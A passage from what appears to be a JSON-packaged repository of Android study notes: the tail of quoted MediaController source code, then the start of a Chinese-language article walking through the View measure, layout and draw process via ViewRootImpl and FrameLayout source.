oldTop, int oldRight,\n                int oldBottom) {\n            updateFloatingWindowLayout();\n            if (mShowing) {\n                mWindowManager.updateViewLayout(mDecor, mDecorLayoutParams);\n            }\n        }\n    };\n\n    private OnTouchListener mTouchListener = new OnTouchListener() {\n        public boolean onTouch(View v, MotionEvent event) {\n            if (event.getAction() == MotionEvent.ACTION_DOWN) {\n                if (mShowing) {\n                    hide();\n                }\n            }\n            return false;\n        }\n    };\n    \n    public void setMediaPlayer(MediaPlayerControl player) {\n        mPlayer = player;\n        updatePausePlay();\n    }\n\n    /**\n     * Set the view that acts as the anchor for the control view.\n     * This can for example be a VideoView, or your Activity's main view.\n     * When VideoView calls this method, it will use the VideoView's parent\n     * as the anchor.\n     * @param view The view to which to anchor the controller when it is visible.\n     */\n    public void setAnchorView(View view) {\n        if (mAnchor != null) {\n            mAnchor.removeOnLayoutChangeListener(mLayoutChangeListener);\n        }\n        mAnchor = view;\n        if (mAnchor != null) {\n            mAnchor.addOnLayoutChangeListener(mLayoutChangeListener);\n        }\n\n        FrameLayout.LayoutParams frameParams = new FrameLayout.LayoutParams(\n                ViewGroup.LayoutParams.MATCH_PARENT,\n                ViewGroup.LayoutParams.MATCH_PARENT\n        );\n\n        removeAllViews();\n        View v = makeControllerView();\n        addView(v, frameParams);\n    }\n\n    /**\n     * Create the view that holds the widgets that control playback.\n     * Derived classes can override this to create their own.\n     * @return The controller view.\n     * @hide This doesn't work as advertised\n     */\n    protected View makeControllerView() {\n        LayoutInflater inflate = (LayoutInflater) mContext.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n        mRoot = inflate.inflate(com.android.internal.R.layout.media_controller, null);\n\n        initControllerView(mRoot);\n\n        return mRoot;\n    }\n\n    private void initControllerView(View v) {\n        mPauseButton = (ImageButton) v.findViewById(com.android.internal.R.id.pause);\n        if (mPauseButton != null) {\n            mPauseButton.requestFocus();\n            mPauseButton.setOnClickListener(mPauseListener);\n        }\n\n        mFfwdButton = (ImageButton) v.findViewById(com.android.internal.R.id.ffwd);\n        if (mFfwdButton != null) {\n            mFfwdButton.setOnClickListener(mFfwdListener);\n            if (!mFromXml) {\n                mFfwdButton.setVisibility(mUseFastForward ? View.VISIBLE : View.GONE);\n            }\n        }\n\n        mRewButton = (ImageButton) v.findViewById(com.android.internal.R.id.rew);\n        if (mRewButton != null) {\n            mRewButton.setOnClickListener(mRewListener);\n            if (!mFromXml) {\n                mRewButton.setVisibility(mUseFastForward ? View.VISIBLE : View.GONE);\n            }\n        }\n\n        // By default these are hidden. They will be enabled when setPrevNextListeners() is called \n        mNextButton = (ImageButton) v.findViewById(com.android.internal.R.id.next);\n        if (mNextButton != null && !mFromXml && !mListenersSet) {\n            mNextButton.setVisibility(View.GONE);\n        }\n        mPrevButton = (ImageButton) v.findViewById(com.android.internal.R.id.prev);\n        if (mPrevButton != null && !mFromXml && !mListenersSet) {\n            mPrevButton.setVisibility(View.GONE);\n        }\n\n        mProgress = (ProgressBar) v.findViewById(com.android.internal.R.id.mediacontroller_progress);\n        if (mProgress != null) {\n            if (mProgress instanceof SeekBar) {\n                SeekBar seeker = (SeekBar) mProgress;\n                seeker.setOnSeekBarChangeListener(mSeekListener);\n            }\n            mProgress.setMax(1000);\n        }\n\n        mEndTime = (TextView) v.findViewById(com.android.internal.R.id.time);\n        mCurrentTime = (TextView) v.findViewById(com.android.internal.R.id.time_current);\n        mFormatBuilder = new StringBuilder();\n        mFormatter = new Formatter(mFormatBuilder, Locale.getDefault());\n\n        installPrevNextListeners();\n    }\n\n    /**\n     * Show the controller on screen. It will go away\n     * automatically after 3 seconds of inactivity.\n     */\n    public void show() {\n        show(sDefaultTimeout);\n    }\n\n    /**\n     * Disable pause or seek buttons if the stream cannot be paused or seeked.\n     * This requires the control interface to be a MediaPlayerControlExt\n     */\n    private void disableUnsupportedButtons() {\n        try {\n            if (mPauseButton != null && !mPlayer.canPause()) {\n                mPauseButton.setEnabled(false);\n            }\n            if (mRewButton != null && !mPlayer.canSeekBackward()) {\n                mRewButton.setEnabled(false);\n            }\n            if (mFfwdButton != null && !mPlayer.canSeekForward()) {\n                mFfwdButton.setEnabled(false);\n            }\n        } catch (IncompatibleClassChangeError ex) {\n            // We were given an old version of the interface, that doesn't have\n            // the canPause/canSeekXYZ methods. This is OK, it just means we\n            // assume the media can be paused and seeked, and so we don't disable\n            // the buttons.\n        }\n    }\n    \n    /**\n     * Show the controller on screen. It will go away\n     * automatically after 'timeout' milliseconds of inactivity.\n     * @param timeout The timeout in milliseconds. Use 0 to show\n     * the controller until hide() is called.\n     */\n    public void show(int timeout) {\n        if (!mShowing && mAnchor != null) {\n            setProgress();\n            if (mPauseButton != null) {\n                mPauseButton.requestFocus();\n            }\n            disableUnsupportedButtons();\n            updateFloatingWindowLayout();\n            mWindowManager.addView(mDecor, mDecorLayoutParams);\n            mShowing = true;\n        }\n        updatePausePlay();\n        \n        // cause the progress bar to be updated even if mShowing\n        // was already true.  This happens, for example, if we're\n        // paused with the progress bar showing the user hits play.\n        mHandler.sendEmptyMessage(SHOW_PROGRESS);\n\n        Message msg = mHandler.obtainMessage(FADE_OUT);\n        if (timeout != 0) {\n            mHandler.removeMessages(FADE_OUT);\n            mHandler.sendMessageDelayed(msg, timeout);\n        }\n    }\n    \n    public boolean isShowing() {\n        return mShowing;\n    }\n\n    /**\n     * Remove the controller from the screen.\n     */\n    public void hide() {\n        if (mAnchor == null)\n            return;\n\n        if (mShowing) {\n            try {\n                mHandler.removeMessages(SHOW_PROGRESS);\n                mWindowManager.removeView(mDecor);\n            } catch (IllegalArgumentException ex) {\n                Log.w(\"MediaController\", \"already removed\");\n            }\n            mShowing = false;\n        }\n    }\n\n    private Handler mHandler = new Handler() {\n        @Override\n        public void handleMessage(Message msg) {\n            int pos;\n            switch (msg.what) {\n                case FADE_OUT:\n                    hide();\n                    break;\n                case SHOW_PROGRESS:\n                    pos = setProgress();\n                    if (!mDragging && mShowing && mPlayer.isPlaying()) {\n                        msg = obtainMessage(SHOW_PROGRESS);\n                        sendMessageDelayed(msg, 1000 - (pos % 1000));\n                    }\n                    break;\n            }\n        }\n    };\n\n    private String stringForTime(int timeMs) {\n        int totalSeconds = timeMs / 1000;\n\n        int seconds = totalSeconds % 60;\n        int minutes = (totalSeconds / 60) % 60;\n        int hours   = totalSeconds / 3600;\n\n        mFormatBuilder.setLength(0);\n        if (hours > 0) {\n            return mFormatter.format(\"%d:%02d:%02d\", hours, minutes, seconds).toString();\n        } else {\n            return mFormatter.format(\"%02d:%02d\", minutes, seconds).toString();\n        }\n    }\n\n    private int setProgress() {\n        if (mPlayer == null || mDragging) {\n            return 0;\n        }\n        int position = mPlayer.getCurrentPosition();\n        int duration = mPlayer.getDuration();\n        if (mProgress != null) {\n            if (duration > 0) {\n                // use long to avoid overflow\n                long pos = 1000L * position / duration;\n                mProgress.setProgress( (int) pos);\n            }\n            int percent = mPlayer.getBufferPercentage();\n            mProgress.setSecondaryProgress(percent * 10);\n        }\n\n        if (mEndTime != null)\n            mEndTime.setText(stringForTime(duration));\n        if (mCurrentTime != null)\n            mCurrentTime.setText(stringForTime(position));\n\n        return position;\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent event) {\n        show(sDefaultTimeout);\n        return true;\n    }\n\n    @Override\n    public boolean onTrackballEvent(MotionEvent ev) {\n        show(sDefaultTimeout);\n        return false;\n    }\n\n    @Override\n    public boolean dispatchKeyEvent(KeyEvent event) {\n        int keyCode = event.getKeyCode();\n        final boolean uniqueDown = event.getRepeatCount() == 0\n                && event.getAction() == KeyEvent.ACTION_DOWN;\n        if (keyCode ==  KeyEvent.KEYCODE_HEADSETHOOK\n                || keyCode == KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE\n                || keyCode == KeyEvent.KEYCODE_SPACE) {\n            if (uniqueDown) {\n                doPauseResume();\n                show(sDefaultTimeout);\n                if (mPauseButton != null) {\n                    mPauseButton.requestFocus();\n                }\n            }\n            return true;\n        } else if (keyCode == KeyEvent.KEYCODE_MEDIA_PLAY) {\n            if (uniqueDown && !mPlayer.isPlaying()) {\n                mPlayer.start();\n                updatePausePlay();\n                show(sDefaultTimeout);\n            }\n            return true;\n        } else if (keyCode == KeyEvent.KEYCODE_MEDIA_STOP\n                || keyCode == KeyEvent.KEYCODE_MEDIA_PAUSE) {\n            if (uniqueDown && mPlayer.isPlaying()) {\n                mPlayer.pause();\n                updatePausePlay();\n                show(sDefaultTimeout);\n            }\n            return true;\n        } else if (keyCode == KeyEvent.KEYCODE_VOLUME_DOWN\n                || keyCode == KeyEvent.KEYCODE_VOLUME_UP\n                || keyCode == KeyEvent.KEYCODE_VOLUME_MUTE\n                || keyCode == KeyEvent.KEYCODE_CAMERA) {\n            // don't show the controls for volume adjustment\n            return super.dispatchKeyEvent(event);\n        } else if (keyCode == KeyEvent.KEYCODE_BACK || keyCode == KeyEvent.KEYCODE_MENU) {\n            if (uniqueDown) {\n                hide();\n            }\n            return true;\n        }\n\n        show(sDefaultTimeout);\n        return super.dispatchKeyEvent(event);\n    }\n\n    private View.OnClickListener mPauseListener = new View.OnClickListener() {\n        public void onClick(View v) {\n            doPauseResume();\n            show(sDefaultTimeout);\n        }\n    };\n\n    private void updatePausePlay() {\n        if (mRoot == null || mPauseButton == null)\n            return;\n\n        if (mPlayer.isPlaying()) {\n            mPauseButton.setImageResource(com.android.internal.R.drawable.ic_media_pause);\n        } else {\n            mPauseButton.setImageResource(com.android.internal.R.drawable.ic_media_play);\n        }\n    }\n\n    private void doPauseResume() {\n        if (mPlayer.isPlaying()) {\n            mPlayer.pause();\n        } else {\n            mPlayer.start();\n        }\n        updatePausePlay();\n    }\n\n    // There are two scenarios that can trigger the seekbar listener to trigger:\n    //\n    // The first is the user using the touchpad to adjust the posititon of the\n    // seekbar's thumb. In this case onStartTrackingTouch is called followed by\n    // a number of onProgressChanged notifications, concluded by onStopTrackingTouch.\n    // We're setting the field \"mDragging\" to true for the duration of the dragging\n    // session to avoid jumps in the position in case of ongoing playback.\n    //\n    // The second scenario involves the user operating the scroll ball, in this\n    // case there WON'T BE onStartTrackingTouch/onStopTrackingTouch notifications,\n    // we will simply apply the updated position without suspending regular updates.\n    private OnSeekBarChangeListener mSeekListener = new OnSeekBarChangeListener() {\n        public void onStartTrackingTouch(SeekBar bar) {\n            show(3600000);\n\n            mDragging = true;\n\n            // By removing these pending progress messages we make sure\n            // that a) we won't update the progress while the user adjusts\n            // the seekbar and b) once the user is done dragging the thumb\n            // we will post one of these messages to the queue again and\n            // this ensures that there will be exactly one message queued up.\n            mHandler.removeMessages(SHOW_PROGRESS);\n        }\n\n        public void onProgressChanged(SeekBar bar, int progress, boolean fromuser) {\n            if (!fromuser) {\n                // We're not interested in programmatically generated changes to\n                // the progress bar's position.\n                return;\n            }\n\n            long duration = mPlayer.getDuration();\n            long newposition = (duration * progress) / 1000L;\n            mPlayer.seekTo( (int) newposition);\n            if (mCurrentTime != null)\n                mCurrentTime.setText(stringForTime( (int) newposition));\n        }\n\n        public void onStopTrackingTouch(SeekBar bar) {\n            mDragging = false;\n            setProgress();\n            updatePausePlay();\n            show(sDefaultTimeout);\n\n            // Ensure that progress is properly updated in the future,\n            // the call to show() does not guarantee this because it is a\n            // no-op if we are already showing.\n            mHandler.sendEmptyMessage(SHOW_PROGRESS);\n        }\n    };\n\n    @Override\n    public void setEnabled(boolean enabled) {\n        if (mPauseButton != null) {\n            mPauseButton.setEnabled(enabled);\n        }\n        if (mFfwdButton != null) {\n            mFfwdButton.setEnabled(enabled);\n        }\n        if (mRewButton != null) {\n            mRewButton.setEnabled(enabled);\n        }\n        if (mNextButton != null) {\n            mNextButton.setEnabled(enabled && mNextListener != null);\n        }\n        if (mPrevButton != null) {\n            mPrevButton.setEnabled(enabled && mPrevListener != null);\n        }\n        if (mProgress != null) {\n            mProgress.setEnabled(enabled);\n        }\n        disableUnsupportedButtons();\n        super.setEnabled(enabled);\n    }\n\n    @Override\n    public void onInitializeAccessibilityEvent(AccessibilityEvent event) {\n        super.onInitializeAccessibilityEvent(event);\n        event.setClassName(MediaController.class.getName());\n    }\n\n    @Override\n    public void onInitializeAccessibilityNodeInfo(AccessibilityNodeInfo info) {\n        super.onInitializeAccessibilityNodeInfo(info);\n        info.setClassName(MediaController.class.getName());\n    }\n\n    private View.OnClickListener mRewListener = new View.OnClickListener() {\n        public void onClick(View v) {\n            int pos = mPlayer.getCurrentPosition();\n            pos -= 5000; // milliseconds\n            mPlayer.seekTo(pos);\n            setProgress();\n\n            show(sDefaultTimeout);\n        }\n    };\n\n    private View.OnClickListener mFfwdListener = new View.OnClickListener() {\n        public void onClick(View v) {\n            int pos = mPlayer.getCurrentPosition();\n            pos += 15000; // milliseconds\n            mPlayer.seekTo(pos);\n            setProgress();\n\n            show(sDefaultTimeout);\n        }\n    };\n\n    private void installPrevNextListeners() {\n        if (mNextButton != null) {\n            mNextButton.setOnClickListener(mNextListener);\n            mNextButton.setEnabled(mNextListener != null);\n        }\n\n        if (mPrevButton != null) {\n            mPrevButton.setOnClickListener(mPrevListener);\n            mPrevButton.setEnabled(mPrevListener != null);\n        }\n    }\n\n    public void setPrevNextListeners(View.OnClickListener next, View.OnClickListener prev) {\n        mNextListener = next;\n        mPrevListener = prev;\n        mListenersSet = true;\n\n        if (mRoot != null) {\n            installPrevNextListeners();\n            \n            if (mNextButton != null && !mFromXml) {\n                mNextButton.setVisibility(View.VISIBLE);\n            }\n            if (mPrevButton != null && !mFromXml) {\n                mPrevButton.setVisibility(View.VISIBLE);\n            }\n        }\n    }\n\n    public interface MediaPlayerControl {\n        void    start();\n        void    pause();\n        int     getDuration();\n        int     getCurrentPosition();\n        void    seekTo(int pos);\n        boolean isPlaying();\n        int     getBufferPercentage();\n        boolean canPause();\n        boolean canSeekBackward();\n        boolean canSeekForward();\n\n        /**\n         * Get the audio session id for the player used by this VideoView. This can be used to\n         * apply audio effects to the audio track of a video.\n         * @return The audio session, or 0 if there was an error.\n         */\n        int     getAudioSessionId();\n    }\n}\n```\n \n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/View绘制过程详解.md",
    "content": "View绘制过程详解\n===\n\n界面窗口的根布局是`DecorView`，该类继承自`FrameLayout`.说到`View`绘制，想到的就是从这里入手，而`FrameLayout`继承自`ViewGroup`。感觉绘制肯定会在`ViewGroup`或者`View`中，\n但是木有找到。发现`ViewGroup`实现`ViewParent`接口，而`ViewParent`有一个实现类是`ViewRootImpl`， `ViewGruop`中会使用`ViewRootImpl`...\n```java\n/**\n * The top of a view hierarchy, implementing the needed protocol between View\n * and the WindowManager.  This is for the most part an internal implementation\n * detail of {@link WindowManagerGlobal}.\n *\n * {@hide}\n */\n@SuppressWarnings({\"EmptyCatchBlock\", \"PointlessBooleanExpression\"})\npublic final class ViewRootImpl implements ViewParent,\n        View.AttachInfo.Callbacks, HardwareRenderer.HardwareDrawCallbacks {\n\t\t\n\t\t}\n```\n\n`View`的绘制过程从`ViewRootImpl.performTraversals()`方法开始。\n首先先说明一下，这部分代码比较多，逻辑也比较麻烦，很容易弄晕，如果感觉看起来费劲，就跳过这一块，直接到下面的Measure、Layout、Draw部分开始看。\n我也没有全部弄清楚，我只是把里面的步骤标注了下。\n```java\nprivate void performTraversals() {\n\t// ... 此处省略源代码N行\n\n\t// 是否需要Measure\n\tif (!mStopped) {\n\t\tboolean focusChangedDueToTouchMode = ensureTouchModeLocally(\n\t\t\t\t(relayoutResult&WindowManagerGlobal.RELAYOUT_RES_IN_TOUCH_MODE) != 0);\n\t\tif (focusChangedDueToTouchMode || mWidth != host.getMeasuredWidth()\n\t\t\t\t|| mHeight != host.getMeasuredHeight() || contentInsetsChanged) {\n\t\t\t// 这里是获取widthMeasureSpec,这俩参数不是一般的尺寸数值，而是将模式和尺寸组合在一起的数值.\n\t\t\t// getRootMeasureSpec方法内部会使用MeasureSpec.makeMeasureSpec()方法来组装一个MeasureSpec，\n\t\t\t// 当lp.width参数等于MATCH_PARENT的时候，MeasureSpec的specMode就等于EXACTLY，当lp.width等于WRAP_CONTENT的时候，MeasureSpec的specMode就等于AT_MOST。\n\t\t\t// 并且MATCH_PARENT和WRAP_CONTENT时的specSize都是等于windowSize的，也就意味着根视图总是会充满全屏的。\n\t\t\tint childWidthMeasureSpec = getRootMeasureSpec(mWidth, lp.width);\n\t\t\tint childHeightMeasureSpec = getRootMeasureSpec(mHeight, lp.height);\n\n\t\t\tif (DEBUG_LAYOUT) Log.v(TAG, \"Ooops, something changed!  mWidth=\"\n\t\t\t\t\t+ mWidth + \" measuredWidth=\" + host.getMeasuredWidth()\n\t\t\t\t\t+ \" mHeight=\" + mHeight\n\t\t\t\t\t+ \" measuredHeight=\" + host.getMeasuredHeight()\n\t\t\t\t\t+ \" coveredInsetsChanged=\" + contentInsetsChanged);\n\t\t\t\n\t\t\t// 调用PerformMeasure方法。\n\t\t\t // Ask host how big it wants to be\n\t\t\tperformMeasure(childWidthMeasureSpec, childHeightMeasureSpec);\n\n\t\t\t// Implementation of weights from WindowManager.LayoutParams\n\t\t\t// We just grow the dimensions as needed and re-measure if\n\t\t\t// needs be\n\t\t\tint width = host.getMeasuredWidth();\n\t\t\tint height = host.getMeasuredHeight();\n\t\t\tboolean measureAgain = false;\n\n\t\t\tif (lp.horizontalWeight > 0.0f) {\n\t\t\t\twidth += (int) ((mWidth - width) * lp.horizontalWeight);\n\t\t\t\tchildWidthMeasureSpec = MeasureSpec.makeMeasureSpec(width,\n\t\t\t\t\t\tMeasureSpec.EXACTLY);\n\t\t\t\tmeasureAgain = true;\n\t\t\t}\n\t\t\tif (lp.verticalWeight > 0.0f) {\n\t\t\t\theight += (int) ((mHeight - height) * lp.verticalWeight);\n\t\t\t\tchildHeightMeasureSpec = MeasureSpec.makeMeasureSpec(height,\n\t\t\t\t\t\tMeasureSpec.EXACTLY);\n\t\t\t\tmeasureAgain = true;\n\t\t\t}\n\n\t\t\tif (measureAgain) {\n\t\t\t\tif (DEBUG_LAYOUT) Log.v(TAG,\n\t\t\t\t\t\t\"And hey let's measure once more: width=\" + width\n\t\t\t\t\t\t+ \" height=\" + height);\n\t\t\t\tperformMeasure(childWidthMeasureSpec, childHeightMeasureSpec);\n\t\t\t}\n\n\t\t\tlayoutRequested = true;\n\t\t}\n\t}\n\n\tfinal boolean didLayout = layoutRequested && !mStopped;\n\tboolean triggerGlobalLayoutListener = didLayout\n\t\t\t|| mAttachInfo.mRecomputeGlobalAttributes;\n\t// 是否需要Layout\n\tif (didLayout) {\n\t\t// 调用performLayout方法。\n\t\tperformLayout(lp, desiredWindowWidth, desiredWindowHeight);\n\n\t\t// By this point all views have been sized and positioned\n\t\t// We can compute the transparent area\n\n\t\tif ((host.mPrivateFlags & View.PFLAG_REQUEST_TRANSPARENT_REGIONS) != 0) {\n\t\t\t// start out transparent\n\t\t\t// TODO: AVOID THAT CALL BY CACHING THE RESULT?\n\t\t\thost.getLocationInWindow(mTmpLocation);\n\t\t\tmTransparentRegion.set(mTmpLocation[0], mTmpLocation[1],\n\t\t\t\t\tmTmpLocation[0] + host.mRight - host.mLeft,\n\t\t\t\t\tmTmpLocation[1] + host.mBottom - host.mTop);\n\n\t\t\thost.gatherTransparentRegion(mTransparentRegion);\n\t\t\tif (mTranslator != null) {\n\t\t\t\tmTranslator.translateRegionInWindowToScreen(mTransparentRegion);\n\t\t\t}\n\n\t\t\tif (!mTransparentRegion.equals(mPreviousTransparentRegion)) {\n\t\t\t\tmPreviousTransparentRegion.set(mTransparentRegion);\n\t\t\t\tmFullRedrawNeeded = true;\n\t\t\t\t// reconfigure window manager\n\t\t\t\ttry {\n\t\t\t\t\tmWindowSession.setTransparentRegion(mWindow, mTransparentRegion);\n\t\t\t\t} catch (RemoteException e) {\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (DBG) {\n\t\t\tSystem.out.println(\"======================================\");\n\t\t\tSystem.out.println(\"performTraversals -- after setFrame\");\n\t\t\thost.debug();\n\t\t}\n\t}\n\n\t// 是否需要Draw\n\tif (!cancelDraw && !newSurface) {\n\t\tif (!skipDraw || mReportNextDraw) {\n\t\t\tif (mPendingTransitions != null && mPendingTransitions.size() > 0) {\n\t\t\t\tfor (int i = 0; i < mPendingTransitions.size(); ++i) {\n\t\t\t\t\tmPendingTransitions.get(i).startChangingAnimations();\n\t\t\t\t}\n\t\t\t\tmPendingTransitions.clear();\n\t\t\t}\n\t\t\t// 调用performDraw方法\n\t\t\tperformDraw();\n\t\t}\n\t} else {\n\t\tif (viewVisibility == View.VISIBLE) {\n\t\t\t// Try again\n\t\t\tscheduleTraversals();\n\t\t} else if (mPendingTransitions != null && mPendingTransitions.size() > 0) {\n\t\t\tfor (int i = 0; i < mPendingTransitions.size(); ++i) {\n\t\t\t\tmPendingTransitions.get(i).endChangingAnimations();\n\t\t\t}\n\t\t\tmPendingTransitions.clear();\n\t\t}\n\t}\n\n\tmIsInTraversal = false;\n}\n```\n\n从上面源码可以看出,`performTraversals()`方法中会依次做三件事：\n- `performMeasure()`, 内部是` mView.measure(childWidthMeasureSpec, childHeightMeasureSpec);`测量`View`大小。这里顺便提一下，这个`mView`是什么？它就是`Window`最顶成的`View(DecorView)`,它是`FrameLayout`的子类。\n- `performLayout()`, 内部是`mView.layout(0, 0, host.getMeasuredWidth(), host.getMeasuredHeight());`视图布局，确定`View`位置。\n- `performDraw()`, 内部是`draw(fullRedrawNeeded);` 绘制界面。\n\n至此`View`绘制的三个过程已经展现：\n\n`Measure`\n===\n\n`performMeasure`方法如下：\n```java\nprivate void performMeasure(int childWidthMeasureSpec, int childHeightMeasureSpec) {\n\tTrace.traceBegin(Trace.TRACE_TAG_VIEW, \"measure\");\n\ttry {\n\t\tmView.measure(childWidthMeasureSpec, childHeightMeasureSpec);\n\t} finally {\n\t\tTrace.traceEnd(Trace.TRACE_TAG_VIEW);\n\t}\n}\n```\n\n在`performMeasure()`方法中会调用`View.measure()`方法， 源码如下：\n```java\n/**\n * <p>\n * This is called to find out how big a view should be. The parent\n * supplies constraint information in the width and height parameters.\n * </p>\n *\n * <p>\n * The actual measurement work of a view is performed in\n * {@link #onMeasure(int, int)}, called by this method. Therefore, only\n * {@link #onMeasure(int, int)} can and must be overridden by subclasses.\n * </p>\n *\n *\n * @param widthMeasureSpec Horizontal space requirements as imposed by the\n *        parent\n * @param heightMeasureSpec Vertical space requirements as imposed by the\n *        parent\n *\n * @see #onMeasure(int, int)\n */\npublic final void measure(int widthMeasureSpec, int heightMeasureSpec) {\n\tboolean optical = isLayoutModeOptical(this);\n\tif (optical != isLayoutModeOptical(mParent)) {\n\t\tInsets insets = getOpticalInsets();\n\t\tint oWidth  = insets.left + insets.right;\n\t\tint oHeight = insets.top  + insets.bottom;\n\t\twidthMeasureSpec  = MeasureSpec.adjust(widthMeasureSpec,  optical ? -oWidth  : oWidth);\n\t\theightMeasureSpec = MeasureSpec.adjust(heightMeasureSpec, optical ? -oHeight : oHeight);\n\t}\n\n\t// Suppress sign extension for the low bytes\n\tlong key = (long) widthMeasureSpec << 32 | (long) heightMeasureSpec & 0xffffffffL;\n\tif (mMeasureCache == null) mMeasureCache = new LongSparseLongArray(2);\n\n\tif ((mPrivateFlags & PFLAG_FORCE_LAYOUT) == PFLAG_FORCE_LAYOUT ||\n\t\t\twidthMeasureSpec != mOldWidthMeasureSpec ||\n\t\t\theightMeasureSpec != mOldHeightMeasureSpec) {\n\n\t\t// first clears the measured dimension flag\n\t\tmPrivateFlags &= ~PFLAG_MEASURED_DIMENSION_SET;\n\n\t\tresolveRtlPropertiesIfNeeded();\n\n\t\tint cacheIndex = (mPrivateFlags & PFLAG_FORCE_LAYOUT) == PFLAG_FORCE_LAYOUT ? -1 :\n\t\t\t\tmMeasureCache.indexOfKey(key);\n\t\tif (cacheIndex < 0 || sIgnoreMeasureCache) {\n\t\t\t// 调用onMeasure方法\n\t\t\t// measure ourselves, this should set the measured dimension flag back\n\t\t\tonMeasure(widthMeasureSpec, heightMeasureSpec);\n\t\t\tmPrivateFlags3 &= ~PFLAG3_MEASURE_NEEDED_BEFORE_LAYOUT;\n\t\t} else {\n\t\t\tlong value = mMeasureCache.valueAt(cacheIndex);\n\t\t\t// Casting a long to int drops the high 32 bits, no mask needed\n\t\t\tsetMeasuredDimensionRaw((int) (value >> 32), (int) value);\n\t\t\tmPrivateFlags3 |= PFLAG3_MEASURE_NEEDED_BEFORE_LAYOUT;\n\t\t}\n\n\t\t// flag not set, setMeasuredDimension() was not invoked, we raise\n\t\t// an exception to warn the developer\n\t\tif ((mPrivateFlags & PFLAG_MEASURED_DIMENSION_SET) != PFLAG_MEASURED_DIMENSION_SET) {\n\t\t\t// 重写onMeausre方法的时，必须调用setMeasuredDimension或者super.onMeasure方法，不然就会走到这里报错。\n\t\t\t// setMeasuredDimension中回去改变mPrivateFlags的值\n\t\t\tthrow new IllegalStateException(\"onMeasure() did not set the\"\n\t\t\t\t\t+ \" measured dimension by calling\"\n\t\t\t\t\t+ \" setMeasuredDimension()\");\n\t\t}\n\n\t\tmPrivateFlags |= PFLAG_LAYOUT_REQUIRED;\n\t}\n\n\tmOldWidthMeasureSpec = widthMeasureSpec;\n\tmOldHeightMeasureSpec = heightMeasureSpec;\n\n\tmMeasureCache.put(key, ((long) mMeasuredWidth) << 32 |\n\t\t\t(long) mMeasuredHeight & 0xffffffffL); // suppress sign extension\n}\n```\n\n在`measure`方法中会调用`onMeasure`方法。`ViewGroup`的子类会重写该方法来进行测量大小，因为`mView`是`DecorView`，\n而`DecorView`是`FrameLayout`的子类。所以我们看一下`FrameLayout.onMeasure`方法：\n`FrameLayout.onMeasure`源码如下：\n```java\n/**\n * {@inheritDoc}\n */\n@Override\nprotected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n\tint count = getChildCount();\n\n\tfinal boolean measureMatchParentChildren =\n\t\t\tMeasureSpec.getMode(widthMeasureSpec) != MeasureSpec.EXACTLY ||\n\t\t\tMeasureSpec.getMode(heightMeasureSpec) != MeasureSpec.EXACTLY;\n\tmMatchParentChildren.clear();\n\n\tint maxHeight = 0;\n\tint maxWidth = 0;\n\tint childState = 0;\n\n\tfor (int i = 0; i < count; i++) {\n\t\tfinal View child = getChildAt(i);\n\t\tif (mMeasureAllChildren || child.getVisibility() != GONE) {\n\t\t\t// 调用该方法去测量每个子View\n\t\t\tmeasureChildWithMargins(child, widthMeasureSpec, 0, heightMeasureSpec, 0);\n\t\t\tfinal LayoutParams lp = (LayoutParams) child.getLayoutParams();\n\t\t\tmaxWidth = Math.max(maxWidth,\n\t\t\t\t\tchild.getMeasuredWidth() + lp.leftMargin + lp.rightMargin);\n\t\t\tmaxHeight = Math.max(maxHeight,\n\t\t\t\t\tchild.getMeasuredHeight() + lp.topMargin + lp.bottomMargin);\n\t\t\tchildState = combineMeasuredStates(childState, child.getMeasuredState());\n\t\t\tif (measureMatchParentChildren) {\n\t\t\t\tif (lp.width == LayoutParams.MATCH_PARENT ||\n\t\t\t\t\t\tlp.height == LayoutParams.MATCH_PARENT) {\n\t\t\t\t\tmMatchParentChildren.add(child);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Account for padding too\n\tmaxWidth += getPaddingLeftWithForeground() + getPaddingRightWithForeground();\n\tmaxHeight += getPaddingTopWithForeground() + getPaddingBottomWithForeground();\n\n\t// Check against our minimum height and width\n\tmaxHeight = Math.max(maxHeight, getSuggestedMinimumHeight());\n\tmaxWidth = Math.max(maxWidth, getSuggestedMinimumWidth());\n\n\t// Check against our foreground's minimum height and width\n\tfinal Drawable drawable = getForeground();\n\tif (drawable != null) {\n\t\tmaxHeight = Math.max(maxHeight, drawable.getMinimumHeight());\n\t\tmaxWidth = Math.max(maxWidth, drawable.getMinimumWidth());\n\t}\n\n\tsetMeasuredDimension(resolveSizeAndState(maxWidth, widthMeasureSpec, childState),\n\t\t\tresolveSizeAndState(maxHeight, heightMeasureSpec,\n\t\t\t\t\tchildState << MEASURED_HEIGHT_STATE_SHIFT));\n\n\tcount = mMatchParentChildren.size();\n\tif (count > 1) {\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tfinal View child = mMatchParentChildren.get(i);\n\n\t\t\tfinal MarginLayoutParams lp = (MarginLayoutParams) child.getLayoutParams();\n\t\t\tint childWidthMeasureSpec;\n\t\t\tint childHeightMeasureSpec;\n\t\t\t\n\t\t\tif (lp.width == LayoutParams.MATCH_PARENT) {\n\t\t\t\tchildWidthMeasureSpec = MeasureSpec.makeMeasureSpec(getMeasuredWidth() -\n\t\t\t\t\t\tgetPaddingLeftWithForeground() - getPaddingRightWithForeground() -\n\t\t\t\t\t\tlp.leftMargin - lp.rightMargin,\n\t\t\t\t\t\tMeasureSpec.EXACTLY);\n\t\t\t} else {\n\t\t\t\tchildWidthMeasureSpec = getChildMeasureSpec(widthMeasureSpec,\n\t\t\t\t\t\tgetPaddingLeftWithForeground() + getPaddingRightWithForeground() +\n\t\t\t\t\t\tlp.leftMargin + lp.rightMargin,\n\t\t\t\t\t\tlp.width);\n\t\t\t}\n\t\t\t\n\t\t\tif (lp.height == LayoutParams.MATCH_PARENT) {\n\t\t\t\tchildHeightMeasureSpec = MeasureSpec.makeMeasureSpec(getMeasuredHeight() -\n\t\t\t\t\t\tgetPaddingTopWithForeground() - getPaddingBottomWithForeground() -\n\t\t\t\t\t\tlp.topMargin - lp.bottomMargin,\n\t\t\t\t\t\tMeasureSpec.EXACTLY);\n\t\t\t} else {\n\t\t\t\tchildHeightMeasureSpec = 